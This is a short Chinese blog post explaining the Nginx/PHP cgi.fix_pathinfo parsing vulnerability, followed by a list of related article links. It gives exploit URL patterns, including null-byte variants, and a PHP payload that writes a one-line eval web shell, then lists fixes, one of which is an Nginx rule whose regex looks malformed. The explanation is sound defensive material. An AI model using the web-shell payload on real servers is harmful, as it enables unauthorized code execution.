探讨Nginx的解析漏洞问题
最编程
2024-07-23 22:47:50
...
1.
漏洞原理
Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过正则匹配设置SCRIPT_FILENAME。当访问www.xx.com/phpinfo.jpg/1.php这个URL时,$fastcgi_script_name会被设置为“phpinfo.jpg/1.php”,然后构造成SCRIPT_FILENAME传递给PHP CGI,但是PHP为什么会接受这样的参数,并将phpinfo.jpg作为PHP文件解析呢?这就要说到fix_pathinfo这个选项了。 如果开启了这个选项,那么就会触发在PHP中的如下逻辑:
PHP会认为SCRIPT_FILENAME是phpinfo.jpg,而1.php是PATH_INFO,所以就会将phpinfo.jpg作为PHP文件来解析了
漏洞形式
www.xxxx.com/UploadFiles/image/1.jpg/1.php
www.xxxx.com/UploadFiles/image/1.jpg%00.php
www.xxxx.com/UploadFiles/image/1.jpg/%20\0.php
xxx.jpg%00.php (Nginx <8.03 空字节代码执行漏洞)
另外一种手法:上传一个名字为test.jpg,以下内容的文件
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
然后访问test.jpg/.php,在这个目录下就会生成一句话木马shell.php。
2.
修复方案
1)、修改php.ini文件,将cgi.fix_pathinfo的值设置为0;
2)、在Nginx配置文件中添加以下代码:
if ( $fastcgi_script_name ~ ../.php ) {
return 403;
}
这行代码的意思是当匹配到类似test.jpg/a.php的URL时,将返回403错误代码。
推荐阅读
-
修复Nginx SSL/TLS协议安全强化中的CVE-2016-2183信息泄露漏洞及HTTP服务器默认欢迎标语存在的漏洞
-
重现Nginx目录穿透漏洞的过程
-
如何轻松修复Nginx范围过滤模块的数字错误漏洞(平滑升级过程中的注意事项) - 维护手记
-
重现 nginx 解析漏洞:nginx_parsing_vulnerability
-
NGINX web应用中的问题:缺少各类请求头的配置详解
-
详解Nginx如何轻松设置跨域访问:Access-Control-Allow-Origin * 的全面解析
-
修复Nginx SSL/TLS协议安全强化中的CVE-2016-2183信息泄露漏洞及HTTP服务器默认欢迎标语存在的漏洞
-
重现Nginx目录浏览漏洞的过程 - 防御措施第四篇
-
深入解读CVE-2017-7529:Nginx中的整数溢出漏洞探讨
-
如何在PHPstudy环境中重现Nginx解析漏洞的步骤